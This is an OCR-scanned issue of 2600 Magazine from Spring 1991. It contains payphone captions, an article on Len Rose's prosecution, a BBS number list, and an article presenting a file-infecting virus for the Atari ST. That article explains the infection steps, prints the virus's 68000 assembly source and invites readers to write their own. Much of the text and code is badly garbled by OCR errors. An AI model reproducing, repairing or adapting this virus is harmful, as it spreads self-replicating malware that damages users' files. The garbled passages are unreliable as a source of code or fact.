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Some New Fealand payphones slill accepl caing but the visd majorily mow wse the
prepaid card system., Yoo'll motics in the bollom right a 12" high "moshroom™ that
15 actoally a plastic eover for the telephope cablis, You find these everywhere in
Mew Fealand and they're extremely easy to access, Tharks fo JF* of Austealia

m,. some remote parts of the United| [[n the words of our Dutch
talex, you will find "noo-dial . 1 ’ :
{payphones” that coonect you fo the cor ..nm—un:.....HE..r 1 don't think

".n_“_ﬁ_._m.._“__..._._. as soon as you pick up,. You il's a _um.u_._u_-ﬁﬂm.. bul it Iooks
tell ihem Lhe number you're calling and|  |pretty foreign.”

they Lell vou how much to deposit, ;
Thanks to C af the USA Thanks to H of Holland
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CREND YOUR PAYPHONE FICTOS T0: 2600 PAYPHONES, PO B
MIDDLE ISLAND, NY 11953, STHA WAITING FOR AEEICAN PAYF

200 (I8SN O0FF0-2831 ) is published quarterly by 2000 Enterprises fne., 7 Strong’s
Lane, Berankes, NY 11733, Second clacy pasiage perenil pard ar Serawked, New York
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at §25 por year, 530 por year overscas,
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25ik} Suberipben Depl, PO Box 732, Middle Island, NY 119530752,
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our Dutch friends, Frankin, and all the true peasants.
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In Pursuit of Knowledge:
An Atari 5205T Virus

by The Puruoald Penfa

The wxompacying aling shewrs & wirus pnagrem
shizh roze on ihe Asar GEOET upder its OIMDOE
falan k=owe e TOS) cporaling syalam. 11 wan
axmareilad i pregrAT SAunier Felabive fwsde feory
Coipurdi AL GEng Ui AspcoFro assenbiar pradeced by
Data Eecker to Garsare and weld 43 she 15, bw
Abacee Brfiwars, Far mers didails abail czerting
srwlem calle mnd d:nk Fle Tzrpace, eer Adard BT
retrrands (B sminn, ¢t £, asd 5T Dok Dioer
Tasrde and Oui 1Srass, ol ol Alee, brp Comsoder
Veromew, a Migk-Tack Gueeass By Faif Beoger. Thes
Fax, Lk s masobles, coma Som Dol Beslorr mrd
arg availnhis o Abese Saflanms,

Alhongh o pember of beolln and LUl have been
WA n aboal virasen, Gow iF amy s moec S Helngs or
wziichenl detat s b b0 mow b ribe 0 isue ] s==ta thin
ViFed df an easrses o lowes the azecifica of ko ik {8
done. [L2a nol o owrval of slegand sesembiy Ligoa e
pragramming. arel 55 s b do ey sledrapue.
I doew work, Trwecwr, wnd carefl ebudy of 15 wil give
wau wll bhe deknile y2u nesd b peedose yuur 2ws
worieir g ree, of Undorslund jus! baw il e Lt e
#an Infeel voot wewlen. [ ke presend Torp, 15 adds E53
Lerlem b3 Lre axeccbable e b icfodta D langpts = kazt
ST B4 BENAAE vk =l oprrsling ey oalle dn G
a1l 1ke work. It cauld no Zausd he shorbescd

idezubly by apmiiatng the code, althaugh thal
aripEE make 5 ek ineiruoci=n 2 o esssinr atd.

It In imporient La u=dercland 2ke formos ef
_...E.n_h-.r.vn Nlendn o proas apesating ok io asdee o
infesl Lthen. In GFEMICE, cxvcuteble filns ara
recegmized Ly rthe flp axteomane 2705 *TTP. and
L.ERT. AL have ha mme peresn] foereot, TOF Elew fun
._.m_“Fu.h_. ceing Lre JEMDOOE deellas grepiice
areirzamats. TP Glew are like TGS flea, rxxest ERat
e begin wilh w= inpek weirdew aSewing voU b cnkes
Frgeum prramesere beforg epstoiion begine. Bost
cenmarclalip svallgbde welleere far tha ST ik in che
feormn £ PG Mg, whics imbemmvaly oo tha FEHIOS
deakizp grwptlcn emeronmens

Thares sxecoteble flen begio wit: m 28 i
program bekder. with the klkwing Srmat-

B2 L - Branch wrownd bha Foader,

TOCRINO « A long woed (A2 Bl wklch Firen e
FETETAD B e bt

TYVEYTEY - & bong word giving i dula scjmzent
Bergeth.

HEEITER - A kg word giving dhe Jezgth of the
Bk Sharaps Begment b dnouct af st sy
Lz be allezased by Iic apersting specten when tae
pragram S headedt

BARARARE . & Yy word giving Uos leagh af toe
myrid batle, o g

BEEZEREREIMIBIEERZERE - Ten mara s
Feaerved fzr the opeFilizg syalem

Poilerwing Lom benfof [6 Uh peogrin sapmarns, The
Direk inmlroction sicupics tha ward {56, 1€ bital
Lepicming ot Mautiza 10 bew, o 38 detiasl, Adter the
Fragran ggra=!t comed rhe Jata scgmans, iF Ehere iy
gx, whans the program mey have werklng duta alecsd,
Tea symbal bable, if chege 55 ik, 2lawe LA dati
sapmest. wed ie added by sama compilers o=d
h__rnHT_.-q- La ald in Scbupping TR i8 gencrally
mirmng on snceTinly Fradoond sefisars. Ak bhs et
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althe symbol wlic in Uie &1 imperlast rebzeakion tabde,
Ehich the wros meed mod<fs by miks $ee Enfected
Fragram rza, Of egofe, F thare s fo Jule sageerns or
Fyribal tabde, Uhe releestion Zakie S Aght bedied (e
PIOATAR RPETLETY,

Febatate Elen zan ks rem from wey plaee Lo sle
eemzer, For mavmpls, if v wrne JHT DOCATION
Juop bo § programe bz twsaled LOCATION), e
waspnbler will alocabe @ 52 WL leci wesd for the
akaizhe g dovr, Dol will po? ie a nonbar repreenting
1 divtezes fram the b ginning oF Ehe feapmam
LLATHIN, The sperobizg wpatem's ralacalor w1 a5d
sz wztual slar: m3drens of th Fragra to cick ol Lansa
sendive addresss whin U sragram ie Jaaded Ot cees
shet [ilacabion Lbde Lo And whars By g,

Tha celzzabior tahos Degles with a 52 Bl Sang word
Eing b disbiowe Droen Lha baglnming of 1he projris
Lo kop Szal abaciubs wdcrees o be rolented. Fallawizg
L=in bargy word 5 Ehet table e ane or mearm Evian which
glve the Inffemcenl fram Lea Frei nddress to be
reizeatad 2 Lba et onea. IC Lbe dintence Salwaan
wireaed G4 preatee Lhan 254, w eerien of bytes
_..u._....:.:m_ﬂ 21 are nddnd, ors Far each Expeimesn = 254
in Lha distanze, umtil the fepaining Salanca in e
than B34 In akier warde, o dha diebaree [ enosdly B34,
theee will ke an FX Crew far 254000 st byte. [ the
dinla=en dn 205 [Ene pogabef will elways be pvaz), Giera
il e w C1 Trke Solowd by w 02 byl Tom mabvwndlen
Cabl in terinabed by 02 hyris,

The wiros il canssts of ke parlx s infectlzn
raz:la imd & fapliod wedade. The dndeclon madcls
eearehes (e o wsinfecled il %o dofect mrd tyen infeos
ik The pusland meduls dose e "dirky wark® af Lz
wirce The infedHon modele vete Tewm cpeeding ovesre
Farabons, SFIEST wead BNEXT, bz saarch Sar caratials
filen. Li correelly implemenbad, orop % TS5 Glew ae
marched 2o Taegfeng e wilbunl sbring at laoalicn
Podn A [Tekirg b "RERGT will mlaw 1L L= waarch aod
she simmerclally produeced piulf Tes geirek I
eeaducied anls 2n the SHar exd d2etaey wheow Lka
verea reedes. Additics of culle %o cparmling oresem
fuziticze which chazgm direciarian, and 45k, cen
&Dlen the murch.

An mach cpmdidete file in foond, 1= infeczlen
miidols Dorka Jar tha infsesian marker, ohod i ke Lee
NOF =2 sparatiznl insbiroctioes of the bog=ning of L
wirie I8 il Tb Brond e ba infacbad, or in tha omielr
taks wherr some program begine wiih iwa BGP
izmtrositoms, the condidule Sa rtecied and Lha neat
randidie b wearched ook [ 2o Alea are Taamd 1o i,
Ler virua geem 20 ba de 0 dIrky work and et Meta
L=l the gragmem sboes iv w lezsch program, seed s
lerizinnter whan the wirog 99 fe= As iefecoted fila
anmealring the #ires 10l zerfara de Forcbes, whabesesr
thal =y ke, snce Lo wiros dory werk b dose: by Lhe
saykzad maduks,

IT & cazdidata 2le 8 fozzd, afetica af the? fils
proctias Tefire e posliod oxodube deaw ibe dirie work
Lo Aplilid faro, the Anfecten af she candtdete fik
prrenimda in tha flowirg ehonyl

L0 o s Elp ba recetes Lhe dnfbef virgizn,

2 Besed in whes comalidhobe fle's pezpzin heedar,

S Modily the peugruns header by adting che v
berghy ta o prugnars segmeack lengts, fhes sopy & Lo
lhe bBapinrirg of the pee S
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A, The wizus cogicn [l inla Loe naw Elo.

£ The eogram scgocnk, flaka sapmie=d Cil azyl,
a=d gl sable 0wt al the candadess fks are cogiad
tan Eiic Fere [ila. .

i Tha Jang ward of B canddats Ble's relzcakiaz
txbls im pead, the viroa Ieagts added ba B, axd e
popiet oo kb new fle, 14 1e oeed "= Nind the Ofss
gheniuie nddeers, &2 which the vires fenpth e a'sa
pedcind, X
¢ Tha irpemant Exles Ellewing the leng ward al
e reioegsian alle of the aarsidle Ok are aogied b
tha 26 Ble without ozdifiabion, and are uaed o fnd
phe redint ng ubssloke pESrecees whizh will b
relzcabed by the peraking weden of hading, and cha
wires Ieagts do added ta the o j

B, The condidate Bl coal et pew fle are i nans.
The cefndidals Kle ie nh-.n.._”aw wmnd _.—.“_,-”_aﬂ..n.: Ol is
vl iy 4 Lhe rarca £ saredl Ain

.uw_.:_wn_..._.w_,_. ._Mn with b prw arwed exnliZule Ok'i
e, Bs infectad with ke sizgi I3 hae the virze ak the
Faginring and ile oiginel cocs at tha ard of the wiroa
When cus, 5wl ron Uhe vieas, afer which =2 will dz
whpE it wum el gDy Froarded b de, Sece ke aripngl
cade i¢ mewed Sown by che Engsh of tia virus, Lhe
POATAT dcguiEl 1 recremnad by Vbl aioess pod the
peegram regmant leayth 1= Lha hanchar e imcrrasd
aped=gly

wirnn #ngeh, the kazatiza ol ke G2es oTes (thal long
weed i Ehe relacabion babled ousl Br fmdreass Ty e
lerglh af the wirus Alas, aech wbsclule wddicss =ird
(wtich, pou will froembeT, aniy carcascs an addoue
rclutive 1 B program baginr=gd ol bawe he Tiros
largth wdded o i, iited ghe arfrene by wheeh ik pefere
8 nEw mevad Sows by Uit aoink

H=ne el $hes B0 vooe can infecl Mo asstreblsd
40 PO ralabee mode. Bk Dled e2d withaot hawing a
reloceios talkle. The Firue laake 1o sce i bbere L6 8
rekewtion table in Lo cimdidede £0s, and deips all Lo
rebemaiion babie and eiddreen modilauticas il oo rabls i
Fatarsd,

Al the EfwEon procae camgleles, The paylood
meedude rore In the cupseal ioplementation, Lha dirly
wark Lo elakively benipgre AT i1 deca be sead o BEL
fepnlrel G charsctar 1o the Sermlnel &g a mesult, the
differrnce Wiweea a1 fnfecied and wninfcckid Gle 18
Ehavt Ehe trdected Blo "2=ge” Tefize 16 reme. Any sorl al
diriy wark rax b wchebbcbed fze thia witk ey Yoo
Eetald oas aparslizg pyabem 2ale s make thn Aimri
woitrl cELP play tha Haas anlhem, Lhe Commanle:
tntarneBanale, cf @Ay oineT Imeilaful Shilly =f yous
imeginatian. Alternuleely, yau cxeld Isaert sama
fnlarentoyg grupkica Piriomi 1oe s

In cleeing, hamm in the vaool pdiconisiane Dart uss
thim 4¥22us b wozew op tha Narlh Amesze Alr Deliaes
[ d izow jost baw mang Aberl 380 5T do v

The viris i peaambiled in prograe er TRGCD
reutive pode, wesh wll wddresses pElatee 1= LoA cumminl
*alee of the prapam counlen, sa i diets Oof Tequirs
ralocating. fr 0 PEE00n, Be virce iheld 233 maedling b
e pelreabion bl af e o [nfecied fla. Soe cack
af ke ghaolone adireeere Teferred Lo in Tk Eelormdan
insln Baee b Eoved dEeT Eran amaost eguel b e

Funtte

Spring I931
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wippst they hare amywusl, ar The Mew Yark acheal
wyaiez divnal, 1 gegpoese 1L wzuls ba alrighl Lo e LLoa
chey frag ercbemy, bub [hear ther clieed il and wenl
Fomes, Alsa, dont oo tarible thzgs ko anall animsi
Yoo pal Lo idea.
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TEMTFFILT MAKE:
DG TTERELTOS A

OLOALERARME:
a1
BTARTEEATA:
PADVENY BDASF1 r BHriEuied, nomal masdiverBe
FEA, MART STRIMNG + Bk a4 of Che wildeand rame HTing
PAOYE W BEREASFY ; Function nunber of SFFST.
Tnar sl PGP GEMIDDES
OO PELER ; Clan up Tha 3tach
I%TL D0 + Found 4 oanddene Sk d D0 & 2esa.
EME FINEHED ; hic casdidale e mahat. Esbl
CHECKIWNFECT:
:Arst open iha dde
PALIE W B3 R  Cpening the e for repd aad wrhs,
FAOYEL AZA1 ; Hmam addreaa of OTA B AT
AGDL #3041 - Ay oteest o Pull e tring in DTA,
FACRE L &1, 45%F1 s Push the s s of e AaFe i
MOWVEW #E305F - Funetion o of DFEN.
TAAF &1 s Cmll QEMDCE,
ADDL B2&FP : Elaan up f1a ehack
TETL 0D + Dd=Flckando iNOFEN worked. ned. ofurmise,

B FEEFLOENG CHsmer, Bk o aratRar oo
= Peatan By ke godmner D0 1bss b BeTon s kev.
BADAME L D0 I0T i Prasmrva Tu Sk barde in 01
BRAE N PSS : P ocdewl, iyt From tha Ble heginning
WADAE W el 3 Push e e barcin
BHAEL PRI AERY o Push tha 5Pl 56 beglening ol cois
+ Lezaih, ol theoess Ten O

MWL W B SF  ; Push Fenclios na. ol LSEEK

TRAF &1 » el GEMDCE.

AL R TER siCen up the sk
- Arad thm appropriste brriea, focking Foe theoam bees MO

FEa READSUIFFER : Push sadciezgs o ores beytn buifer
WAFSLLL 51 + Mo, o e b ewed - AL
WMIDWE W DI-FR cFush Plskands

MIWEW BEIF SR [ Fumitiin v, of READ

TFaF a1 +Cndl AEMDCS.

A0 L F1EEP CiCaEn wp the phack

RIWEL FESDBELFRER, DY | Funsha Breodinn msrker o in D5,
CRAPLLASIETTHEN DS hfecton minhes @ tad NOP'a WET)
BHE STARTINFLGT i Infecticn marks: oot f=ond. Infect B
REEPLCOHE NG

BATWE W KFAFAGFL  ; Furesion ma, of SWiXT

TRAF 81 + Cell GEMECE.

LSOO & F 5 sDlean up absch.

TET.LDE o D0l IF fotay o Prvonid, naeaames IF res maes
EED CHECEIMFECT £ Tenl L e H U h Pndeousd,

ERA, PAYLOGRD - B cnrecirinbs Alan. EsH.

i 1.2 Enbecs thetaeget A @ thers b one.
HTARTIMFELT:
: Bave Era marma of thaargical il n OLCFLEMAMVE. Tea
: eddress of ™he Aamid Sing in dhe OTA b =0 n AL,
MOVEL #vE D0 ; Index ceuntel
LES O8 DFLENARIE &3 : Snart adirman o Ala mames anes boifar
SAVELOOR
MOYE B A1, 0000AZ D3 Wicer 5 charssier Bomthe 1A B baffar,
DERA DLEAYELDOR ooy b dene.

; Creste 8 ney The nawed TEMP (30ored In TEMPFELEMARME]
BACIE o 2,51 ; Creaie wls FasdweBa abritute
FEA TENFRLEMAME 2 Adniryd Wibare the nams “TEMPTOGR™ shorwd
BAONWE N 53T 5 ; Furcton no. ef CREATE

THAF ¥1 Gal GEMDOS
ACDL #& 8P sClsmn up aEach
MOWEW DIDT  Exww TEMP. TOS m Ala Bancds In OF

7 Movs the ok fike's polrfar beck o Eha Bogineimg of e ik
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MW LS - Mo, 3iprl frem D Mo begieaing

rECCEwe 0 R HoE N TR Y R, T

WGYELENE L DTsd=0 S e L Beginneg
2! | prograT basden

AT W PG -5 sPtamhi Fasgiber o ol LEZER

TRAF i1 s Call GRS,

AIE G B R 5T LT ek

: Frad s progrsm basder of ke e 'o ba irdedecionl s Eafer

FEA REATELFTLR 3 Pueh thes i padrireon of cha Sofer

el T L WEE, E i Beo ol beasn e bul rend

AT A O 4T Pt ol e os ik

MOT A FSaF R s Favmice na o FOAD

AT . CEd CERAEDS

AOC L BT cCwErum Fak

o WAy Tl g Tl et B RS
i, FEADE TERAD < B pdd rme o reied BaTet
Lty R e ) soal g zregram gk

sk DD - RSveom wn [ dor e BT eoimpdrdon
AOC LAFTE-EETART L | Giniehale e i) det i Agii
L e L ¢ Lo rarar grogran acglk

A0 LA T i in lergph of dwa pageeend

LI - ST LMD b vuyT O e Dl LB B
ELBGL 1O Rirne] ora To pe pond
2eria Lha riee Fetoader

ity FERLBIRRER i FLih thet qekdooria oF T baiflar
AT B R, O o R

AT RN O TR -Frn hawdk for rew bie

WA RS SPndora for &R

TEAF FI B g ]

ALG L EF R AR R ]

SROTE: i i pofrl T The podrian for Sol b Mise sk K b
P g bz ches Segirnng =1 tha program ssgrai

- Maper, prir T wirn ol Tha seee T

ML ETAnT : BrTer bs ao= [ begirnig o P s
KA ELFTTY S E-0TAT P | Wie ro of Syiwa ke he v
B4 L C2 - 15T iFinhaed s of frew 1l
BEE W R, ERF]  Fidwitne an, For VR

¢ Frowes, wiln e progrsT mprrarl. 2 el wpmend, srdd wyrbes La e
Hca = R L Py B

TALSEFER S
« Frand @ Dol Froem B odd Tl

FEA, "EACELFTFER B dard

[t Y I | : Frac ora byie

BRI W D8R + Fibs Eariy of che odd M
[N = o ] ; FLriod e ol READ
RAF B S A

S0 L AT SChEnas Um dlach
:Wrie e bads i e res M

Mk ALERDELFFLR + Beterdand

BT L E, VTR D b

T WKL, O § Pl B Al [ The aw g
R W D T s Fescdor i o WTUTE
TERF B Sl GORDTS

rn L B R ; CWar ug the

DR 00 FRARBELELGOE | L il or

sArdae pr e Tl prd mar of (20 i (0 ke i i ineg i he
o e s me ol D 0 NP oo mabds
L, PR I mag o ol ol S el !

MOVEL BO D . Fremd bl beforn Foobdngg For bong weed
M4 RLLOAUFTLR s BrTerxa

ML B PR _ Pl iwn K] e

A0 DA 2 ®dn i o T ol B
WOVE W B3 5 Funion ra of RDAD

TaAF gt L Gl GERADS

EO0 LT EF R TERT-RL F P L
(LRSS T e E | o Bawva sdd i o Bflar

LE- A Ly bl - W ey ] e e, A el Sl
SETMOTAEE ¢ 35 e s nd el e sl

A0 LR S OO START LA " - S uet T bong woad Ty Lha s

Jpagram b

25 EMTAYT L POET AL

FEOTALRLEL:

PR, FEACRSEE H T

Ry EL FRFF o BN D B ]

MDA ENY O2 15 - Fia hared - o o8 s T
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wayE o R Rl Funolon s, of WRITE
TRAS 01 SOl G E M
BONL @72 = sClan pp e dleail

+ Firal kzrp word in 188 relacaiinn Fu.r traboon el aaial ATEe
; thal reed of the sl b wdde

FHALL OO

PRA, AEALELEFEA. = Bl Farl

SACATE L 1 AR i Feod zra v

RATHEE WY O, FRFY ; Fila hoanddn of T oid M
WEVTW R, BA | Fusdion s of ALAD
TR i ; Ol GERENEE

OO L A2 b L T ek

A SEADE FTES i Baifly mant
e L FESER - W Srg AR
Ve e [ R ; Fin hared g oF P Fiwe Tl
WEDAD WY S -T2 . RFsion po ol WRTE
A g1 ; Call DERCE
BOD L @13 R ;0 vp Mo Famld
b BESCE AN ;g of bvie o e
VLR (AT, D L PERTA
228 ENTEYE
TST.m AT cFakchsd d Bhly's Jers
BN L FIHALLOGE e varedurring H e, olhars o
cimppee L 18 rebocica abia
A FAHOL O : Do B P e e el Following muk-
| AT,
THa B i T o Irecled prsram
. il ree koolirTa we Peey ek TR R Teoand cowt iy D vicm knglh
- el aide. cha wnua lengl 1o Team

ENTF1 - Ertes e when g oegraed of ekozalkza Lebir
+ e ) paoaiea

alraE g A HOE 3 A pi b T FEACELIFRER, it b
;e 2t rom F1C o ey Bl Wy

el
&Sl MRIC DR . R ree P tha e T patrdnr vk

LiWE L RSIT.CH B T e T R

ERTE=T . B s wchetn o babrn oo ng Tt Bl )
. ezl Pl 1B e O L0 0 2aing oophed

TET.L Cd . A B cersra e, chers Bnshing
=l gl
EhCMOTIEND » Gorpfuat o Fu MRS
Fia Orhanecse, relum
HEE T IRALY
TR L, e i il oorsdae . raed boosddm
3 wwae e N1 of S e DR e e
ERE MOTORE 1 Beswethy ingendd Trvci 1.
AL FEFL DA 1 ALE g o ien O R S U ng Tha
: podTier in [, than el
ET3
HETGRE
TR L FEE ; ey o e iy gl 1, DEwil
roovlas B
BEECMAETIINE o e weiad BFF, Zon™ s confani
ol Cd e Oh
AT0A DL J{mnaw i, wdd the Incremards’ byl
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The Horrors of War
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The Terminus of
Len Rose

by Craig Neidorf

Aa many of you probably kaew, 1
used to be the editor and publisher of
FPhrock, a magarine similar to 2600,
but mot available in a hardeopy
format. During that time | was
knewn as Knight Lightning. In my
capacity ag editor and publisher I
would often recelve text files and
cther articles for submission to be
publizhed, In point of fact this is how
the majority of the material found in
Phrack wae acquired. Outside of
articles written by =L
editor/publisher Taran King or
myeelf, there waz no staff, merely a
lpase, unorganized greup of free-
lancers who sent s material from
tima to time.

One such freelance writer was
Len Hose, known to dome as
Terminus. Te the best of my

Prior to the end of 1938, [ had
very little contact with Terminue
and we were reintroduced when he
contacted me through the Internet,
He was very excited that Phrack sl
exizted over the course of the years
and he wanted to zend vs an article,
However, Rose wae a professicnal
Unix consultent, holding contracts
with major corporations and
organizations acrees the country and
quite ressonebly (given the corporate
mentality) he assumed that these
camnpanies would not understand his
invalvement with FPhrack,
WNevertheless, he did send Phrock an
article back in 1988, Tt was a
computer progrem actually that was
called *Yet Another File on Hacking
Unix” and the name on the file was
=Unknowsm Uzer<, adopied from the
ancnymous pesting feature of the

Rose’s legal arguiments were sirong in many respects and
it is widely believed that if he had fought the charges that
he may very well have been able {o prove his innocence.

Unfortunaiely, the piteup of multiple indictments, in a legal
system that defines justice in terms of how much money

you can afford to spend defending yourself, ook its toll.

knowledge, he wos a Unix consultant
whe ran his own system an UUCP
called Weteys, Netsys was & major
electronic mail station for messages
passing through ULUCE. Terminues
was no stranger to Phrack, Taran
King haed interviewed him for
Phrack Fro-Phile I, Tound in
Fhirack’s fourteenth izzue. | would go
into more delail about that artiels,
except that becouse of last year's
ovents I do noet have it in my

poEssssiorn.

Spring IW

onee famous Mets! Skop Private
bulletin board.

The file itzelf waz a password
eracking program. Such programs
were then and are =till taday
publicly available intentionally so
that system mensgers can run them
againzt their own password files in
order to discover weak passworda.

“An example is the password
cracker in COPS, & packege that
checks n Ulnix systerm for differant
types of vulnerabilities. The
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cemplets package can be oblained by
ancnymeons FTF from flp.ad.net.
Like the pazswerd cracker published
in Phrack, the COPS cracker checks
whether any of the words in an en-
lineg dictionary correspond to o
pazeword in the password file,”
{Daorathy Denning, Commpnicetions
of the ACM, March 1991, p. 28)
Perhspa if more people wsed them,
wie wauld nat have incidents ke the
EBobert Merriz warm, Clifferd Stalls
KGE agents, or the current crisis of
the system intruders fram the
Metherlands,

Time passed and eventually we
carme to January 1520, AL some point
during the Aret week or two of the
new year, I briefly logged onte my
acecunt on the VM mainframe on the
University of Missouri at Columbis
and gaw that I had reeceived
eledtronic mail from Len Bosa, Thers
was a brief letter follewed by some
sarl of program. From the text T saw
that the program was Unix-based,
en eperoting system | was virtually
unfamiliar with at the time. T did nat
understand the significance af the
file or why he had sent it to me,
However, eince 1 was logged in
remotely I decided to let it =it wntil 1
arrived back at sehool a few days
later. In the meantime I had noticed
some copyTight merkings on the file
and sent a letter fo a friend at
Belleore Security asxing about the
legalities in hoving ar publishing
such materisl, A= it turns out, this
file waa never published in Phrock

Although Taran King and T had
already decided not to publizh this
file, other events sean made our
decision irrelevant. On Jonunry 12,
1890, we discovered that gll sccess to
aur agcounta an the mainframe of
the University of Missouri had been

Page 12 2600 Magazine

revoked without explanation. On

January 18, 1990 [ was visited by

the LIS, Secret Service for reasons
varelated to the Unix program Len
Hoze had zent. That eame day under
obligntion frem a subpeenn issued by
a Federal Dhatriet Court judge, the
University turned cver sll filez from
my mainfreme acoount o the 13,
Secret Bervice including the Unix
file. Included below is the text
partion of thet file;

“Here iz o specialized login for
Systern ¥V 5.2 sides. | presume fhet
ary compedent pereon can getb it
working on other levels of Syatem V.
It tock rie abowt 10 minetes to make
fhe charnges and longer bo worite the
README file ard thiz bit of muil,

“It comea from original ATET
SVRE2E sowrees, a0 it definitely not
gariething you wish bo mef cought
wwiths Ag people will probabiy tell you,
it eoas originally part of the port fo
an ATET SBE spsfem. Just po that T
can head off any complaints, fell
them [ alao compilad if witk =
mirimal chonge on 2 356 runring
ATET Unix Svadem 1V 3.8 (they'll
have to fiddle with some defines,
guite gimple to dol Any changes |
murde ore bracketed with eomments,
g if Phiry run ento somedhing torrible
fell dkem fo Blame ATET and not me

I will et my honds on zome
Berkeley 4.8 code and do the same
thing & pous Lke (0 sy of eowreel”

In the text of the program it also
reads: “WARNING: Thia ia ATET
proprietary sowres code, Do NOT get
oapght with 0.7 and “Coprright (o)
ig8d ATET All Rights Beserved *
THIS I= UNPOTRLISHED
FPROFRIETARY SOURCE CODE
OF AT&T * The copyright notice
abore does ned exdence any actwal or
infended publication of such source
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As it turned aut the program that
Foze hed sent was modifed to be a
Trojen horse program that cauld
capture accounts and passwords,
gaving them into a file that could
later ba retrieved, However, knowing
how to write & Trajan horse login
pProgram is no sscret. For example,
“such programs have been published
in The Crckoo'’s Egg by Cliffard Stall
and an article by Grampp and
Morris. Alse in his ACM touring
lectore, Ken Thompsen, one of the
Bell Laba co-avthars of Unix,
explained how to creste s powerful
Trefan horze that would allow its
auther to leg enta any account with
vither the presword assigned to the
nocount or B passwerd chozen by the

auther.”  (Dorothy  Denning,
Coremnenications of the ACM, March
1991, p. 29-30)

Betwesn the Tinix 3.2 soures code,
the Unix passwerd cracking file, and
the rdded fact that Terminus was a
subscriber to Phrock, the autharities
turned their attention to Len Hose.
Bose was raided by the United
Btates Secret Serviee (including
Agent Tim Feoley, who was the rase
agent in 1.5, v, Neidorf} at his
Middletown, Maryvland home on
February 1, 1590, The actual scarch
on his home was another atrocity in
and of itaelf,

"For five haurs, the agents —
along with two Belleore emaplovess —
confined Lesnard Rose to his
bedrasm for gquestioning and the
camputer consultant’s wife, Sun, in
another reom while they searched
the house, The agents seized enough
cornputers, documents, and perscnal
effects — including Army medals,
Sun Rose's persenal phone book, and
sets of keyve to their house —to fill &
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14-page list in a pending court case "
("Moo Kid Glaves For The Accused®,
Urtx Today!, June 11, 1590, page 1)

The agents alse did serious
damege to the house itzelf. Boze was
left withput the computers that
belonged to him and which he
desperately needed to support
himself and his family, Essentially,
Eoze went into bankruptey and was
blacklisted by AT&ET,  This
culminated in a May 15, 1990
indictment. Thers were five counts
charging him with violations of the
1986 Computer Fraud and Abuse
Aet and Wire Fraud. The total
maximum penslty he faced was 32
¥erTE in prison and fines of
250,000, Furthermore, the 1.5,
Attorney's affice in Baltimore
insisted that Ross was »p member of
the Legion of Deom, & claim that he
and known LOD members have
consietently denied.

This was just the beginning of
another long saga of bad Tuck for Len
Rese. He hod ne teal lewyer, he had

1!‘[5!.—."""'

......____.ﬁ_-w_.u# fas ]

page 41 for|
specific details. |
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noe money, and he hed no job. In
addition, he suffered a broken leg
regening his son during a cemping
trip.

Eventually Eose found work with
a ecompany in Naperville, Nlinsis
(DuPage County in the suburbs of
Chicagoe): a Unix conzulting firm
called Interdctive. He had & new
lawyer named Jane Macht, The
future began to leok m Bttle brighter
temporarily. But within a week
TrterActive was making claims that
Eose hed copied Unix source code
from them. Minais Stats Police pnd
5A Tim Folev (what i3 he doing
here!?) came to Eose's new horme and
tonk him awav. In addition to the
five count indietrment in Balimore,
he was now fering eriminal charges
fram the State of Mlincis. It was at
this peint that attorney Shelden T.
Fennor (whe had successfully
defended  mel  took on  the
reaponsibility of defending Rose
agsinst the state charges.

Roze's apin of bad luck was not
aver yet. Asgeistant U5, Allarney
Williarn Cook in Chicage wanted a
pirce of the action, in pert perheps to
redeem himself from his miserable
‘defeat in 1.3, v. Neidorf. A third
pozeible indictment for Hose seemed
inevitable. In fact, there were
threats mode that T personally may
have been subpoenaed to testify
hefore the grand jury about Rose,
buot this never took placs,

As Uime passed and court dates
kept being delayed, Rose was
running cut of money and barely
surviving. Hiz wife wanted to leave
him snd take awsy his children, he
could net find work, he was looking
at two serious indictments for aure,
and a peesible third, and he just
cauld not take it eny longer.
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Rose's lagal arguments were
etreng in many reapects and it is
widely helisved that if ha had fought
the charges thot he may very well
have been &ble to preve his
innocence. Unfortunatsly, the pileup
of multiple indictrnents, in a legal
system that defines justice in tevmas
of how moch money you can afferd to
spend defending yourself, took its
toll, The 113, Atterney in Baltimare
did not want to try the case and they
affered him a deal, part of which was
that Cook got something as waell.
Rose would sgree 1o plead guilty to
two wire fraud charges, one in
Baltmore, one in Chicage, The LLS,
Attorney’s office would offer a
recommendation of a prison sentence
of 10 monthe, the State of Mlinsis
would drop its charges, and Rose
would eventually get his computer
equiprnent back.

In the weeks prior to ascepting
this decision I often spoke with Rose,
plerding with him to fight based
upon the principles and importance
of the issues, o matter what the
coets. Hewever, T wae blinded by
fdealizrn while Bose still had to faes
the reality.

At thizs time Len RBose is still fres
and swriting formal sentencing.
United States v. Rose was not a case
abput illegal intrusion into other
people’s computera, Despite this the
Secret Bervice and AT&T are ealling
his case a prime example of & hacker
conepiracy. In reality, it is only an
example of blind juatice and
corporate pewer. Like many eriminal
cazes of this type, Tt is sll & question
of how rmuch justice can a defendant
afford. Hew much of this type of
injustice can the American public
affod?
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SUEARN Network BBS +7-0895-8383678
Psychodeli@ Hacker Club BBS +7-351-237-3700
Kaunas #7 BBS +7-012-720:0274
Ville Metamorph BBS +7012-720-0228
WolfBox +7-012-773-0134
Spark System Designs +7-057-233-8344
Post Square BBS +7-044-417-5700
Ozz Land +7-017-277-8327
Afan BBS +7085-532-2843
Angel Station BBS +7-085-838-5377
Bargain +7-095-383-83171
Bowhill +7-095-838-0274
JV Dialogue 1st +7-095-328-2192
Kremiin FIDO  +7-085-205-3554
Moscow Fair +7-085-366-52089
Nightmare +7-085-128-46617
MoSTNet 2nd  +7-085-1893-4761
Witd Moon +7-085-366-5175
Half of Guild +7-383-235-4457
The Court of Crimson King +7-383-235-6722
Sine Lex BBS +7-383-235-4811
The Communication Tube +7-812-3715-1158
KREIT BBS +7-8B12-164-5336
Petersburg's Future +7-812-3104864
Eesti #1 +7-014-242-2583
Flying Disks BBS +7-014-2684911
Goodwin BBS +7-014-268-1872
Great White of Kopli +7-014-247-3243
Hacker's Night System #1 +7-014-244-2143
Lion's Cave +7014-253-6246
Mailbox for citizens of galaxy +7-014-253-2350
MamBox +7-014-244-3360
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New Age System +7-014-26063189
Space [sland +7-0714-245-16711
XBase System +7-014-248-3031
LUCIFER +7014-347-7218
MESO +7014-343-3434
PaPer +7-014-343-3351
Interlink +74085-946-8250
Hackers Night 2 +7-0142-601-818
Micro BBS +7-0142-444-844
P.0O. Box Msaximus +7-0142-529237
Lion's Cave BBS +7-0742-536-24E8
Barbarian BBS +7-0142-211-641
Kroon BBS +70142-444-086
SVP BBS +7-3832-354-570
XBase System +7-0142477150
